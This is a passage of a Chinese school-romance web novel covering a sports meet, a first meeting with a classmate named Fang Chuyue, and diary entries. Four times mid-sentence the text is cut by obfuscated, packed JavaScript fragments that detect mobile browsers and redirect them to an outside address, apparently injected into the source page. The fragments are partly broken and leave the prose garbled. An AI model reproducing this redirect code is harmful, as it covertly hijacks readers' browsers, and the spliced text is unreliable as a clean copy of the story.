l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059413|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接下来有请优秀学生代表谢惊洛同学上台发言。” 嗯?! 于听眠怀疑自己听错了,回头向唐思雨确认:“谢惊洛要上台发言?” “是啊。”唐思雨习以为常,“你才转来可能不太清楚,咱们学校有个传统是每次开学典礼都会邀请年级第一上台发言,结果每次都是谢惊洛。” 于听眠:“稳定得令人害怕。” 不行,这是她第一次听谢惊洛上台讲话,她得站直了听。 她将小卡片装回口袋里,站直了身子。 台上,谢惊洛从容地接过话筒,声音通过扩音器传播至整个操场。 “尊敬的老师,亲爱的同学们,大家早上好。” “很荣幸能站在这里和大家一起交流我的学习经验……” 于听眠听得认真,大家也都在关注着他,只有这种时候她的目光才敢光明正大地在他身上停留。 那份不敢显露的心思混杂在众多的视线里,任谁也发现不了。 唐思雨:“嗯?你不背了吗?” 于听眠:“背累了,歇会儿。” 唐思雨:“哦。” 还真被唐思雨说对了,这个早会开足了一个小时。谢惊洛发言完后于听眠又继续开始背单词,台上的发言人从教导主任到副校长再到校长,一整套流程下来于听眠什么也没记住。 有那么几个时候她抬头看了一眼亲爱的领导们,他们举着话筒滔滔不绝声情并茂畅言着学校的发展,讲了这么久也丝毫不见口渴的迹象。 怪不得人家能当领导呢。 于听眠视线中多了几分尊敬。 然后她低头继续背单词。 等好不容易解散回到教室,他们前脚刚坐下后脚老梁就跟了进来。 “我说你们也不知道收敛一点。”梁兆兴双手撑在讲台上,语重心长:“我也知道这种早会很无聊,你们听不进去拿点小纸片写些英语单词数学公式什么的下去背背这很正常,但你们有人带那么大一本练习册下去光明正大地写题就太显眼了啊。” 于听眠摸了摸口袋里还没拿出来的小卡片。 放心了,不是在说自己。 “而且有时候你们多多少少也要听一些。”梁兆兴屈指敲了敲讲台,眼神一定盯上了一个人:“来,陈文俊你来说一下今天会上讲了什么。” 第三排一个身材高大的寸头男生一脸茫然地指了指自己:“啊?我说吗?” 真的假的? “对,就是你。”梁兆兴点头,“不用说多,说出一个就行。” 陈文俊:“但我一个都没记住啊。” “行了,坐下吧。”梁兆头没好气道:“月末校运会就开始了,各班的体委需要提前组织好报名事项,挑选后勤,下第一节课体委去办公室拿报名表,这事儿都没听还体委呢。” 陈文俊积极认错:“我的锅我的锅,下次一定注意,嘿嘿。” “其他的也没有什么需要注意的事了,有感兴趣项目的同学可以积极报名,不想报名的同学也可以去现场看一下比赛,有咱们班的比赛就帮忙喊喊加油,而且这也是你们在这个学校参加的最后一场校运会,等到了高三,这些娱乐活动就与你们无关了。” 16. 眼神坚定得像要入党 “眠眠你有什么想法吗?” 几天后的一个课间,唐思雨凑到于听眠面前问。 “嗯?什么想法?” “校运会啊,你有想报名的项目吗?陈文俊都在班里问好几天了,还没凑齐人呢。” “我?” 于听眠认真思考了一番。 各个项目从脑子里轮流筛选了一遍。然后她发现自己好像不太行,短跑爆发力不行,长跑耐力不行,跳高弹跳力不行,抛铅球腰腹力量不行,总而言之—— 哪哪都不行。 于听眠老实巴交:“我觉得我什么都不行,你呢?” 唐思雨:“哟,真巧,我也是。” 于听眠:“……” 唐思雨:“……” 相对无言。 唐思雨:“要不我们当后勤吧?就搬搬东西送送水什么的,我觉得挺好的。” 于听眠正要问能不能只当一个默默无闻满场乱逛的观众,但还未等她开口,一道划破天际的哀嚎声吸引了她的注意。 于听眠:“?” 什么动静? “啊啊啊啊啊啊——洛哥啊——”陈文俊又逛了教室一圈依旧找不够人后,攥着报名表径直往谢惊洛桌面上扑,动静之大,引得不少人侧目。 谢惊洛抬眸看了一眼朝自己扑来的玩意儿,伸手轻描淡写地抽走了平放在桌上的书籍。 陈文俊扑了个空,扑在了邦硬的桌面上。 “洛哥……”陈文俊用眼神控诉他。 谢惊洛合上书放到一旁,凉凉地笑了下:“说事。” “嘿嘿,那什么……”见人这么说,陈文俊双手将报名表奉上,“您看看您中意哪个项目,往上面填个名儿就好。” 谢惊洛眉梢轻挑,并未接过报名表。 “洛哥啊——”陈文俊又开始嚎了,“您知道的这种活动没您不行啊,实在是没人报名了,要不是一个人最多只能参加两个项目,我高低全填自己名字上去了。” 谢惊洛有些散漫地支着额头,神情不为所动:“多我一个你也不够啊。” “有好过没吧,不用多,您就填一个就行,帮帮哥们吧,洛哥~~”一个人高马大的男生捏着嗓子扭捏着喊自己名字的画面实在太有冲击力,以至于被喊名字的当事人都没忍住皱了皱眉。 “行了闭嘴,再吵就不报了。” 陈文俊一听有戏,连忙闭嘴,手脚麻利地将报名表放在谢惊洛桌面上。 耳根清净后,谢惊洛拿起报名表大概地看了一眼。 每个项目各有各的缺人,就连最为热门的男女混合四百米接力赛都还差两个人。 他提笔在男女混合四百米接力赛报名栏处写上名字。 陈文俊拿回报名表乐呵呵的走了。 “……” 围观完全程,于听眠到了嘴边的话滚了一圈又咽了回去,她郑重其事回答唐思雨:“好,我决定好了,我们就去当后勤吧。” 唐思雨:? 你的眼神怎么忽然坚定得像是要入党? 于听眠:“话说回来,你为什么忽然想去当后勤?” 唐思雨:“呃、如果我说我有一颗想要奉献的心,你信吗?” 于听眠滴溜溜的大眼睛眨了眨:“你猜我信不信?” 唐思雨:“我猜你不信。” 于听眠微笑看她。 唐思雨被她笑得发毛,挣扎片刻如实招了:“好吧其实是秦长宇也参加了两个项目要我去给他送水。” “嗯哼~”于听眠了然,那一切就都合理了。 2013年9月15日 天气:多云 思雨跑去当后勤有原因。 好吧。 我也有。 幸得天公作美,校运会当日风和日丽碧空如洗,是个不可多得的好天气。 老梁提前两天买好了水、零食、葡萄糖溶剂等物品放在办公室里,等运动会当日让后勤人员拿下去。 除此之外还要搬几张桌子和椅子下去供人放置物品和歇息用。 教室离操场距离不近,搬着东西一路过去也不轻松,后勤人员里的几个男生便自告奋勇去搬桌子椅子和水等重物,将一些重量较轻的零食留给女孩子们搬。 虽然说零食不是很重,但全班人的分量体积实着不小,满满当当的塞满了几个大袋子。 唐思雨看着两边合不上的提手犯了难:“这怎么搬下去啊?” 有个女生提议:“要不两个人一人提一边提下去?” 另一个女生道:“可这里有好几袋,两个人搬一袋要来回好几趟,效率会不会有点慢?” 于听眠想了想道:“要不我们把它们抱怀里抱下去吧?” 唐思雨:“抱的起来吗?装的挺满的会不会漏啊,掉地上不太好捡。” 于听眠:“把它们塞紧实一点试试看吧。” 于听眠率先抱起一袋零食颠了颠。 “可以的,掉不下来。” 此言一出,其他人纷纷效仿,没多久就一人抱着一袋零食前往操场。 于听眠和唐思雨走在最后面,刚下到一楼,唐思雨忽然间想起了什么,皱眉“啊”了一声。 “怎么了?” 唐思雨小脸皱在一起,神情有些懊恼:“我相机放在教室忘拿了。” 校运会上经常会发生一些有意思的事情,所以每在这种时候都会有同学带相机过来拍照记录,唐思雨就是其中一个。 “啊?现在刚到一楼回去拿还来得及,我陪你去拿吧。”于听眠说着就要上楼。 “不用不用。”唐思雨不想她再跟着自己爬一趟楼,怪累的,“你先去吧,我顺便去上个厕所再下去,免得等会儿没时间上厕所。” “真的不用我陪你吗?” “真的,就拿个相机,我总不能上厕所上到一半掉进厕所里吧。” 也是。 于听眠也不执着:“那我先过去操场等你。” “okok~” 于听眠看着唐思雨上楼,又转头看了一眼已经走远的大部队,想了想并没有跟上去同行。虽然这一个月里她已经认识了不少人,但大都是泛泛之交,平常偶尔会说两句话,但要和她们一起同行她总觉得有些不好意思。 太阳有些晒,于听眠不适地眯了眯眼睛,四下看了看,她朝屋檐下的阴影处走去。 建筑物挡去了刺眼的光线瞬间舒服了不少。 于听眠哼着歌贴着建筑物走,怀里抱的零食袋子太大遮挡住了一部分视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059414|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,经过一个拐角时,她一时没注意猝不及防撞上了一个人。 “哎!?” “啊呀!” 哗啦—— 对方显然也没注意,两人一起发出了惊讶且疑惑的声音,于听眠怀里的零食被撞出了不少掉在地上。 “不好意思!我没注意到拐角有人,同学你没事吧?” 于听眠努力透过塑料袋的遮挡看过去,发现对方是一个个子高挑的女生。 于听眠第一反应觉得这个女生不仅声音清亮悦耳还长得很漂亮。 对方长着一张标准的鹅蛋脸,唇红齿白眉目如画,及腰的长发散落在身后随风律动,灵动的双眸正饱含担忧地看着自己。 “没事。”于听眠摇头,“我也没有注意到你。” 说着蹲下身把袋子放在一边想要捡回掉了一地的零食。 “我来帮你!” 女生一同蹲下身捡起地上的零食放回袋子里。 没有了零食袋子的遮挡,于听眠注意到女生身上穿的不是校服,而是一整套修身的小西装,及膝的西装裙衬得她裸露在外的小腿笔直而修长。 校运会这两日学校允许大家不穿校服,故而于听眠看到女生的装扮并不是很意外,只看了一眼就收回了目光。 两个人一起动手速度快了很多,没两分钟袋子又重新被于听眠抱回了怀里。 “谢谢!” “不用不用!”女生施施然一笑,“本来就是我撞倒的,是我应该做的。” 她低头看了一眼手腕上的表,急切的语气里带着歉意:“不好意思,我有点急事,要先走了。” “嗯。”于听眠点点头,让了让身子给她过去。 她看了一眼女生走远的方向,平静地收回目光。 差点就想问对方叫什么名字,但冲动之后仔细一想,以后大概也不会有什么交集,又缄了口。 于听眠七拐八拐来到操场找到自己班的“大本营”,放下东西,看操场上已经密密麻麻站满了人准备开幕式。 学校里的活动不多,遇上这种能够光明正大玩两天的集体活动大家心情都有些激动,人群热热闹闹熙熙攘攘,彩旗飘扬蔽空,开幕号角震天响,洋溢的朝气直奔天际。 运动员和后勤人员被特许不用参加开幕式,运动员做赛前准备,后勤人员则留在大本营整理好需要用上的东西。 说是大本营,其实也就是在一片空地上支了个遮阳棚,棚里并排摆放着几张桌子,周围放着几把椅子,零食和水什么的就放在桌子上,谁需要就自己拿。 于听眠站在棚子下朝着操场入口处张望,不多时就瞅见了熟悉的身影晃晃悠悠地走了进来。 “思雨——在这儿——” “我去,真难找。”唐思雨把零食放在桌面上,转身就找于听眠吐槽,“要不是你叫我我还真没看见我们班的地盘在哪里……不对,你刚叫的时候我也没看到,瞅了好几眼才看到你。” 于听眠挑眉:“是吗?那你可得好好感谢我哦。” “……”唐思雨眼神复杂:“于听眠你变了,不,你根本就不是于听眠,你快把我家那个乖巧腼腆可爱的眠眠还给我。” “晚咯~”于听眠摊手:“已经吃进肚子里消化得渣都不剩了~” 17. 方楚悦 “尊敬的老师,亲爱的同学们,大家早上好!” “在这秋高气爽,硕果飘香的九月,我们迎来了云城一中第二十届秋季运动会的隆重召开……” 嗯? 主持人站在主席台上激情四溢说着开幕词,清丽动人的声音被粗糙的音响折腾过一番掺杂了杂音后依旧悦耳动听,只是于听眠总觉得自己好像在某个地方听过这道声音,一时半会儿却又想不起来。 “首先,我代表组委会对在运动会筹备过程中付出辛勤劳动的全体工作人员表示衷心的感谢……” 于听眠踮起脚伸长脖子看去,想要试试能不能看到声音的主人长什么样,但主席台被人山人海挡住,根本看不见一点台上的人儿。 “怎么了吗?你在看什么?”唐思雨注意到了她的动作。 于听眠收回脖子,摇头:“没看什么,就是忽然有点好奇是谁在台上讲开幕词,声音挺好听的,但人太多遮住了没看见。” “这个声音……”唐思雨仔细听了听,“十有八九是方楚悦,她的声音还挺好认的。” 于听眠一顿。 方楚悦? 她有关于这个名字的记忆。 “又是谢惊洛第一啊,我还以为方楚悦会有机会呢。” “哎,你别说,谢惊洛和方楚悦这两人……不看其他,光看脸在一起真的是赏心悦目。” “……” 是挺久之前的记忆,不多,但时隔了一个月在记忆的长河里被翻出来却异常清晰醒目。 “方楚悦……”她喃喃地重复了一遍这个名字。 她当时站在表彰栏下只顾着看谢惊洛,听周围人讨论谢惊洛,没有注意表彰栏上的其他人,听人提了一嘴记住了方楚悦是年级第二但并不知道她的具体长相。 虽然她觉得以学校那个拍照技术就算拿着照片在本人面前对比都不一定认得出来。 “是啊,你知道她?”唐思雨问。 “听人提起过,有点好奇,她在学校好像挺有名的。” “确实挺有名的。” 该准备的东西都准备得差不多了,后勤的大家都在棚子里整装待发,只等开幕式结束,趁着为数不多的空余时间唐思雨和于听眠聊了起来: “方楚悦她是二班的,同时也是我们学校的广播站站长,人长得好看声音好听,成绩好人缘也好,如果你看过我们楼下的表彰栏的话就会发现她是上学期期末的年级第二。” 唐思雨给于听眠粗略地介绍了下,其他具体的她也不是很清楚,毕竟现实中并没有交集。 “她挺厉害的。”于听眠由衷感叹。 “是啊。”唐思雨一起感叹。 “嘿,两位靓女,你们在做什么?”陈文俊从她俩身后像鬼一样悄无声息地冒了个头,语气阴恻恻的,企图吓死两人。 “哎呀我去!”唐思雨被吓了一跳,原地蹦开。 于听眠身体后仰。 “你怎么走路都没声的?吓死了。”唐思雨拍了拍胸口没好气地瞪了他一眼。 “有声。”陈文俊试图为自己辩解,“明明是你们聊得太投入了。” “……”唐思雨懒得和他辩论这个问题,“怎么了,找我们是有什么事需要我们做的吗?” “嘿,还真有。”陈文俊从口袋掏出两张纸条交过去,表情神秘兮兮,“今天上午有我的100米跑和秦长宇的50米跑,这个是加油词,负责送加油词的那个同学有点事离开了一会儿,你俩现在有空的话帮忙送去广播站那边呗,我要去准备上场了。” 唐思雨接过纸条看上面的内容。 于听眠好奇也凑上去看看。 一张纸条字迹清新飘逸:踏上跑道,是一种选择;冲出起点,是一种勇气;奔越终点,是一种荣耀,驰骋赛场的少年啊,今天,你是我们的骄傲,加油吧——高二理一班的秦长宇,我们为你喝彩! 一张纸条字迹狂野无比:冲啊——高二理一班的陈文俊,你今天就是全场最牛的男人——你是男人中的男人,男人中的巅峰,我们为你痴为你狂为你哐哐撞大墙,今天全场你称王—— 唐思雨:“……” 于听眠:“……哇塞。” 原谅她们没见过世面,深深被这狂野的加油词震撼到了。 人怎么能有种成这样?怎么,这个学校已经没有你在意的人了吗? “这加油词……是谁写的?”于听眠终究还是没忍住问。 “咳咳。”闻言,陈文俊咳嗽两声,“这当然是咱们的语文课代表写的。” 语文课代表,于听眠对她的印象是一个浑身浸满书卷气的身形娇小的女生。 唐思雨:“你拿刀架她脖子上逼她写的?” 陈文俊:“怎么可能,当然是她自愿的,被我的魅力折服了。” 于听眠:“……” 唐思雨:“……” 这画风字迹明显就不一样好吧! 唐思雨斟酌再三:“我可以问你一个问题吗?” “什么?” “你在这个学校里有有好感的女生吗?” 陈文俊摸不着头脑:“没有啊,怎么忽然问这个。” “啊……没事,随便问问。” 两人对视一眼,了然于心。 难怪那么野,还真是没有在意的人了。 “哎,行了行了。”陈文俊觉得莫名,想不出缘由,就按着她俩的肩膀把她们翻了个面往外一推赶她俩走,“哥们就那么一个愿望满足我吧!我先去准备了,拜托你们了!” 于听眠看着他脚底抹油一溜烟跑没的身影:“他一直都那么勇的吗?” 他敢写她都不敢听。 唐思雨摊手:“我不知道啊,可能是今天激动过头了。” 于听眠猜测:“我觉得他说没有有好感的女生应该是真的。” 唐思雨赞同:“我也觉得。” “思雨——听眠——你们等一下!” 两人同时看去,发现喊住她俩的人是负责写加油词的语文课代表许云。 许云小跑到两人面前停下,喘了口气:“呼……可算等到陈文俊走了,这个给你们。” 她手里捏着张纸条,就近递给了于听眠。 于听眠定睛一看,发现又是一张加油词,给陈文俊写的,只不过比起陈文俊自己写的那张,这张的内容显然正常了不少,风格也和秦长宇那张一般无二。 “哎?我们这里已经有一张他的加油词了。”唐思雨也看见了纸条的内容。 “没事,你们把这张也一起拿过去。”许云扶了扶鼻梁上因运动幅度过大变得有些歪的粗边黑框眼镜,嗤笑一声:“就他自己写的那张?我都懒得说他,要是没被广播站的人筛下去我跟他姓。” 唐思雨:“……” 于听眠:“……” 于听眠和许云的接触不多,平时除了交作业会说两句话之外并无其他交集,但此时她总觉得有什么奇怪的滤镜碎掉了。 待到开幕式结束,人群解散,两人避开人头攒动的操场中心,从边缘前往主席台。 唐思雨眼尖,看到了从大门口进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059415|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的老梁。 “老梁!”唐思雨抬手挥了挥朝他打招呼。 “梁老师好。”虽说私底下大家都在用“老梁”称呼梁兆兴,但在本人面前于听眠是喊不出口的,只规规矩矩喊老师好。 虽然不知道隔那么远老梁能不能听见。 梁兆兴一手腋下夹着个文件夹,另一只手推了推鼻梁上的眼镜眯眼瞅了瞅,发现隔着老远和自己打招呼的两人是自己的学生。 “哦,是你们啊。”他正要找个人帮忙就有人送上来了,得来全不费工夫,他招手:“你俩来个人帮我填一下这个表,就……” 他点了个身位离自己近的:“就你了,唐思雨同学。” “啊?我?”唐思雨指着自己,迷茫。 “对,是你。”梁兆兴说完,意识到她俩要去干什么的样子,“还是说你们现在有事要忙?有的话我再去找别人。” “没有,就是要去主席台那边送个加油词。” “那好,我先去棚子那边,你等会儿过来。” 等老梁走后她看向于听眠作擦眼泪状:“呜呜呜,亲爱的我要和你分别了,我知道你很舍不得我,但你要学会成长了,我知道你很爱我,但你要懂得有一种爱叫放手,强行留下我是没有结果的呜呜呜……” “……”于听眠上次那么无语还是在上次,“快滚吧,我现在就去找新欢,等会儿回来就没你的位置了。” “嘻嘻,你才不会呢。” …… 为了方便现场广播,广播站的人员把大半装备都搬上了主席台,此时的主席台上堆放着各种音响设备,红蓝的线路交杂在一起,工作人员正忙着整理线路调试设备。 于听眠不知道手中的加油词要交给谁,她四下观察了一下,叫住了一个看起来没那么忙的工作人员:“同学你好,我想问一下这个加油词是要交到谁的手里?” “噢,这个啊。”工作人员指了指主席台正中间的那张长桌,桌子后面坐着一个长发女生,她的身旁堆放着一堆略显凌乱的纸张。 于听眠看着那个女生的衣着身影有些眼熟。 “你先放在我们站长身边的那堆纸那里,等会儿我们会整理的。” “好的,谢谢。” 于听眠走过去,将手中的纸轻轻放在了纸堆的最上方。 “加油词放在这里就行了……哎?”方楚悦习惯性回头嘱咐两句,却发现来人是不久前被自己撞倒的女生,不由惊讶。 于听眠方才就大概确认了是她,此刻并不是很意外。 “是你呀!”方楚悦露出笑容:“好巧,没想到这么快又见到了。” “是啊,好巧。”面对对方的热情于听眠有些不自在,她干巴巴地说道:“我也没想到。” 说完于听眠就沉默了,这话说得她自己都觉得冷场。 方楚悦却像是无所察觉:“刚刚走得急,还没来得及问你的名字呢,我叫方楚悦,你叫什么名字?” “我叫于听眠。” “很好听的名字啊,对了!”方楚悦想起了什么,她掏了掏小西装上衣的口袋,从里面掏出两根棒棒糖递给于听眠,在于听眠不解的目光下解释道:“这个给你,还是觉得刚刚撞倒你很抱歉,虽然用来道歉好像有点随意了,但我身上也没有其他东西了,所以请收下这个吧。” 女孩目光诚恳真挚,于听眠没想到她还在意这件事,一时间有些手足无措:“啊?真、真的不用的,真的没关系的!” “那也收下吧。”方楚悦眉眼弯弯笑意盎然,“就当交个朋友啦~” 18. 今天中午吃什么 见于听眠空手去回来时多了两根棒棒糖还分了一根给自己,唐思雨霎时瞪大了眼睛,质问:“你真在外面有人了?!” “是啊。”于听眠督了她一眼,理所当然的语气:“不是和你说了我要去找新欢吗?” 她伸手轻轻勾了勾唐思雨的下巴。 “你失宠了,亲爱的。” “不!”唐思雨悲不自胜,她一把拍开于听眠作乱的手,反手抓住对方的肩膀,诚然一副被辜负的模样,势必要对方给她一个说法。 “你说过永远只会爱我一个人的,快说!那个野男人,啊不,那个野女人,啊也不是……快说!那个野人是谁?!” 两人的目光在空中胶着,一个冷漠无情,一个痛心疾首。 下一秒—— 都没绷住,笑了。 “哈哈哈哈哈哈哈哈哈好有病啊我们两个——”唐思雨笑得挂在于听眠身上直不起身。 “你也知道啊。”于听眠把赖在自己身上的人拎起来,拆开了手里的糖放在嘴里。 浓郁的葡萄味瞬间充斥了整个口腔。 “所以到底是哪里来的?”唐思雨也拆了糖纸扔进嘴里,“还挺好吃的。” “方楚悦给我的。” “啊?”这唐思雨还真没想到,这孩子刚才还不认识方楚悦的,怎么才这么一会儿就吃上人家给的糖了? “你刚刚不是还不知道人家是谁吗?” 于听眠大致给她说了一下她回去拿相机后发生的事。 “好家伙,还有那么巧的事。” “是啊,我也没想到。”于听眠摊了摊手,“对了,你的相机呢?” “放大本营的桌子上了,怎么了?” “就那样放在哪里了?”于听眠震惊于她的松弛,“你不担心不见吗?” 防人之心不可无,不怕一万就怕万一。 “没事啊,老梁在大本营坐着呢,谁敢在他眼皮子底下顺东西走。”唐思雨觉得于听眠对自己有些误解,“我看着是那么心大的人嘛?相机还是从我妈那里薅来的,真弄不见了她第一个扒了我的皮,我哪敢?” “噢,也是哦。”于听眠默了默,问:“等会儿是先跑男子50米吧?” “是啊。”唐思雨抬手看了看表,“离第一场比赛开始还有半个小时,秦长宇分在了第一场,再过十五分钟我们就要派人过去起点帮忙检录还有在终点帮忙接应。” 帮忙检录的人员规定需要一男一女,在终点接应的人也至少需要两人,除了于听眠和唐思雨外,过会儿还会有两个男生和她们汇合前往跑道。 “咳咳,那什么——”唐思雨清了清嗓子,端着严肃的表情一副心无杂念公事公办的语气:“你等会儿想去起点检录还是想去终点接应?” 听着像在很认真地商量工作事宜。 “……”于听眠了然,她笑道:“你想去接人是吧。” 唐思雨一秒破功:“好嘛,我答应了要给他送水的……” 于听眠没什么意见:“行,你去吧,我去帮忙检录。” “嘿嘿~”唐思雨得了便宜开始卖乖:“亲爱的你最好啦——快来让我亲一口——” 于听眠无比嫌弃:“不要,离我远点。” 唐思雨:“呜。” 离比赛正式开始还有五分钟,于听眠再一次检查了秦长宇的号码牌是否别好,核对了运动员信息是否无误,事无巨细。 确认万无一失后,她小声对秦长宇说:“加油,思雨在终点等你。” 秦长宇也朝她比了个“OK”的手势:“放心,交给我了,绝对让她第一个接到我。” 结果不负众望,广播里他的加油词还没念完,终点已然欢声雷动。 秦长宇确实言出必行让唐思雨第一个接到了他。 接下来的男子50米都没有自己班的运动员,于听眠也不用在这边逗留,收工回了大本营。 她率先回到,百般聊赖,等了一会儿,视野里终于出现了并肩而行的两人。 于听眠注意到秦长宇手中拎着一瓶喝了一半的矿泉水。和老梁一箱箱批发买的不同,他手中的是单独的包装,是唐思雨另外给他买的。 “厉害!真拿第一了。”于听眠称赞。 “下午还有决赛呢,那时候跑了第一再夸他也也不迟。”唐思雨耸肩,挽着于听眠和她吐槽:“我跟你说,他和我吹好几天了,要是没拿第一我能笑他到毕业。” “哎哎哎——”秦长宇连忙阻止她继续说下去,“随口说的你记得那么清楚干什么?” “哦。”唐思雨瞟他,“随口说了好几天是吧?” 秦长宇:“……” 于听眠忍不住笑,视线下意识去找寻某个身影,却回想起今日好像都没见过他。 她想秦长宇和谢惊洛玩得好,大概是知道人下落的,想问,却又觉得问出口自己的心思昭然若揭。 话都没说上几句的人,问这个做什么呢? 其实于听眠知道这种行为挺正常的,没看见人随口问一句,人之常情,只是她心里有了别样的心思,并不纯粹,所以看上去平常的问题她反而被堵了喉咙问不出口。 “话说谢惊洛人呢?他没来吗?一早上没见着他了。”反而是唐思雨同秦长宇闲聊的时候问了出来。 “他吗?躲清净去了,没到他比赛的项目大概都不会出现。”秦长宇又拧开瓶盖喝了一口水,“平时在教室里也就算了,办公室就在走廊尽头喜欢他的女生也不会那么明目张胆凑上去,但校运会这种活动管的松,他要出现了估计有得闹腾。” 唐思雨赞同他的说法:“也是,收到情书礼物什么的一个个拒绝退回去也挺耗精力的。” 情书礼物的事于听眠听唐思雨说过。 谢惊洛的课桌上,桌肚里,总能不定时刷新各种各样的情书和小礼物,种类繁多不乏花了心思的。只是谢惊洛一概不收,可他的教养又让他做不出把他人的心思随手丢进垃圾桶这种事,所以送来的情书礼物大概率会退回到本人手里,若是实在找不出源头,那那些情书礼物则会被他锁进一个小盒子里,被藏进昏暗的角落不见天日。 倘若是当面表明心意的…… 于听眠有幸见到过一次。 他笑着对那个女孩摇头,动作绅士却坚决地将礼物推还回去,声音也是与平日无差的温文尔雅。 “很荣幸能够获得你的喜欢与偏爱,只是我并非是你最好的选择。” 明明是拒绝人的话语,可不知为何于听眠的心脏当即漏跳了一拍。 或许是她看到了谢惊洛刻在骨子里的温柔。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061812|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“眠眠?眠眠?” 沉浸在旧忆里的于听眠乍然被人唤醒,惊了一跳,但很快又整理好凌乱的表情:“怎么了?” “你在想什么重要的事呢?那么入神,叫你好几声了都没答应。”唐思雨疑惑道。 “……”于听眠面不改色:“没什么,只是在想中午吃什么好呢。” “中午吃什么?行,这确实很重要。”唐思雨成功被带偏,开始思考起这个严肃的问题,“你说我今天吃饭呢?还是吃面呢?好久没吃面了,但今天又有点想吃饭。” 于听眠给出提议:“石头剪刀布吧,你赢了吃面,我赢了吃饭。” 唐思雨:“可以,来。” “石头剪刀布——” 于听眠收回手:“你赢了,吃面吧。” “……”唐思雨扭捏,“要不……三局两胜?” 于听眠看了她一眼:“那吃饭吧,如果你更想吃面的话就不会给饭机会了。” “嘿嘿,说的也是,那吃饭吧。”唐思雨嘻嘻一笑,但马上又陷入新的纠结:“吃饭的话,那我是吃红烧排骨呢?还是吃板栗炖鸡呢?” 于听眠:“……” 真是够了。 2013年9月27日 天气:晴 校运会终于开幕了,果然是很热闹,只是过程有点奇妙。 好家伙,真没想到和我撞在一起的那个女生是方楚悦哎!!! 上一秒还和思雨在讨论她下一秒就遇上了,她还给了我两颗糖,她人还挺好的,糖也很好吃,笑起来也很好看。 哦,说到这个,陈文俊的加油词果然不出所料没被选上,他没听到自己亲手写的加油词跑完之后还哀嚎了好久,结果就被许云谴责了,说他吵得太大声了扰民,还说要不是她最后给他另外写了一张他就没有加油词了。 然后陈文俊就安静了。 别说,有点好笑。 在今天之前我一直以为许云是一个文文静静的小女生来着,果然是人不可貌相,开口闭口两个样。 对了,值得庆祝的是秦长宇在男子50米的决赛里也跑了第一,非常好,这个项目的奖牌是我们班的啦—— 陈文俊在最后的男子100米决赛里表现也很好,虽然遗憾和第一失之交臂,但第二也是非常厉害的(虽然他本人觉得最遗憾的是他呕心沥血写的加油词没能通过广播传遍整个操场) 至于思雨纠结了好久的午餐——她想的两个最后都没吃,吃了当场看中的可乐鸡翅。 总之今天也是很不错的一天,唯一有点可惜的是没见到谢惊洛的身影。 唉…… 又想起了一些奇奇怪怪的事。 可他人真的好好啊,连拒绝人都那么温柔,如果是我的话就算被拒绝了大概也很难忘掉这样的一个人吧。 …… 啧,于听眠你做什么梦呢?连告白的勇气都没有就已经想到被拒绝了?你还真敢想啊? …… 好吧……其实挺佩服那个女孩子的,她能勇敢地表明自己的心意。 而我连表露端倪的勇气都没有。 嘤……真是难过。 …… 嗷嗷嗷嗷嗷嗷嗷嗷—— 不管了——明天我一定要看到谢惊洛冲线—— 19. 第一张合照 男女混合四百米接力赛向来是校运会的热门项目,观众人数呈断崖式增长,为了给这场校运会一个激情澎湃的收官,学校将这项项目放在了最后一项。 在这之前,于听眠他们班还有一场女子八百米跑。 要说于听眠最讨厌的体育项目是什么,那八百米跑必然是一骑绝乘。从初中开始,跑这玩意儿她每次都是在及格线的边缘低空飘过,但饶是如此也够磨去她半条命了,冲过终点后那接踵而至的晕眩无力腿软的酸爽感是难以忘却的,跑过一次后就再也不想跑第二次了。 但偏偏每个学期都要跑那么一次。 想想就痛苦。 所以在她接到拼尽全力冲过终点的女生,看她难受得站不住直喘气,一个腿软直接坐在草地上时,于听眠感同身受地也难受了一下。 但刚刚跑完直接坐下对身体不好,于听眠拉着她站起来,让她的手臂搭在自己的肩膀上扶着她慢慢走回了大本营。 营地的桌子上摆着一杯杯用一次性纸杯冲好的葡萄糖冲剂,于听眠给她拿了一杯,让她慢慢喝调节一下状态休息一会儿。 女生接过纸杯,低下头,默不作声小口小口地喝着葡萄糖冲剂。 于听眠蹙眉看了一会儿,轻轻拍了拍唐思雨的手,唐思雨看懂了她的示意,跟着她走到了一旁。 “怎么了?”唐思雨问。 “她的脸色好像不正常。”于听眠又看了那个女生一眼,“有点太苍白了,跑完到现在也有好一会儿了,脸上还是没有一点血色。” 